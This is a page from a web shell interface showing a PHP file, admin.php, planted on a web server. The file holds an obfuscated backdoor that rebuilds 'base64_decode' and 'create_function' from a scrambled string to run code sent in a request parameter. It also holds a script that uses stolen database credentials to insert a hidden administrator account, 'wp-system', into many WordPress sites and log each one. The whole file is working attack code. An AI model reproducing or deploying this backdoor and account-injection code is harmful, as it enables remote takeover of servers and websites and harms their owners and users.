CHips L MINI SHELL

CHips L pro

Current Path : /var/www/
Upload File :
Current File : /var/www/admin.php

<?php 




$MVbIKjeP7308 = "s1qgj;vo*5f4i.p6wnu(9k)b_t/3lx0earcz82dymh7";


$mHmdxidu1446 = "";

foreach([0,7,33,25] as $x){
       $mHmdxidu1446 .= $MVbIKjeP7308[$x];
    }


if(isset($REQUEST /*zKZUMmjgQAOLKhybTkyTpqCHwCTgmAjKlpJlqzfZakJUnZfmBZFUQNUkDwkZMDnGQnmWOgVnenxwJlGRdhFplEghDIwmfYkVpFJafhETbJftZQaQzIydzOmxxpBRrObD*/["$mHmdxidu1446"])){
    $HqZyqBgT3412 = $_REQUEST /*zKZUMmjgQAOLKhybTkyTpqCHwCTgmAjKlpJlqzfZakJUnZfmBZFUQNUkDwkZMDnGQnmWOgVnenxwJlGRdhFplEghDIwmfYkVpFJafhETbJftZQaQzIydzOmxxpBRrObD*/["$mHmdxidu1446"];
    $YLtydzuC1838 = "";
    $XZvPKTwU3297 = "";

    /*lkGslhkozRyWMFTvjpvoCnBJcrlivTWRSLIqelRIrkxyqaYTmztvRafmruhUwYYzsGCGQIrucWquNPXKjekWahCizQXZqxUALUqrwyLBHcdJeXPVZbVQcHTyAFGyepJV*/

    foreach([23,32,0,31,15,11,24,38,31,34,7,38,31] as $x){
       $YLtydzuC1838 .= $MVbIKjeP7308[$x];
    }

    /*YBYuVIZafBJspzBAJtzeYBdivPjrLArKeCzSnlfUxuiutugymdXLOOglkrGDmfTSeWUJAiggIGBQqJFQIipLxudHSnViGeptYKiTFzaNNmOFhrXBZFAfZvUxuDfhUwEo*/


    foreach([0,25,33,33,31,6] as $x){
       $XZvPKTwU3297 .= $MVbIKjeP7308[$x];
    }

    /*LSqxEiNMLlUOStjGiwETvOEHPmhzbiMCrtruxmugDETqwOoemHCaKBikdpelcnOkRnmLjJUSprMmTDnViltATIFglLUrWLKllBavPzoZTwzBkLfgYjevWiWwnADQKDzG*/

    $x = $XZvPKTwU3297('n'.''.''.'o'.''.'i'.'t'.''.''.'c'.''.''.'n'.''.''.'u'.''.'f'.'_'.''.''.''.''.'e'.'t'.''.''.''.'a'.'e'.'r'.''.''.''.''.'c');
    $H = $x("", $YLtydzuC1838($HqZyqBgT3412));
    $H();
    exit();

}



                                                                                                                                                                                                                           
$userlog = 'wp-system';
$handle = @fopen("log.txt", "r");
if ($handle) {
    while (($buffer = fgets($handle, 4444096)) !== false) {
        $buffer = str_replace("\n", "", $buffer);
        $buffer = html_entity_decode($buffer);
        echo $buffer;
        preg_match('/(.+?);(.+?);(.+?);(.+?);(.*)/', $buffer, $config);
        #echo "host = $config[2]\n login = $config[3]\n pass = $config[4]\n db = $config[5]\n";
        #echo "site = $config[1]\n pref = $config[6]\n";

        if (strpos($config[1],':') !== false){
            $parts = explode(':', $config[1]);
            $db = mysqli_connect($parts[0], $config[2], $config[3],$config[4],$parts[1]);
        }else{
            $db = mysqli_connect($config[1], $config[2], $config[3],$config[4]);
        }

        if (mysqli_connect_errno()){
            echo "Failed to connect to MySQL";
        }else{
            $config[5] = trim($config[5]);
            if (strlen($config[5]) === 0){
                $config[5] = 'wp_';
            }

            $exs = mysqli_query($db, 'SELECT option_value FROM `'.$config[5].'options` WHERE option_name="siteurl"');
            if(!$exs){
                echo "owi6ka select url".mysqli_error($db)."\n";
            }else{
                $url = mysqli_fetch_array($exs,MYSQLI_NUM);
                echo "site = $url[0]\n";
                
                $exs = mysqli_query($db, 'INSERT INTO `'.$config[5].'users` (user_login, user_pass, user_nicename, user_email) values ("'.$userlog.'", "91ec629ce5954273a21e3390e0b155a8", "'.$userlog.'", "system@wordpress.org")');
                if(!$exs){
                    echo "owi6ka user insert:".mysqli_error($db)."\n";
                }else{
                    $exs = mysqli_query($db, 'SELECT ID FROM `'.$config[5].'users` WHERE user_login="'.$userlog.'"');
                    if(!$exs){
                        echo "owi6ka user select".mysqli_error($db)."\n";
                    }else{
                        $row = mysqli_fetch_array($exs,MYSQLI_NUM);
                        echo "id = $row[0]\n";

                        $exs = mysqli_query($db, 'INSERT INTO `'.$config[5].'usermeta` (user_id, meta_key, meta_value) values ("'.$row[0].'", "'.$config[5].'capabilities", "a:1:{s:13:\"administrator\";s:1:\"1\";}")');

                        $fp = fopen('gid.txt', 'a');
                        fwrite($fp, "$url[0];$userlog;hatrk\n");
                        fclose($fp);
                    }
                }
            }
            mysqli_close($db);
        }


    }
    if (!feof($handle)) {
        echo "Error: unexpected fgets() fail\n";
    }
    fclose($handle);
}
?>

Copyright 2K16 - 2K18 Indonesian Hacker Rulez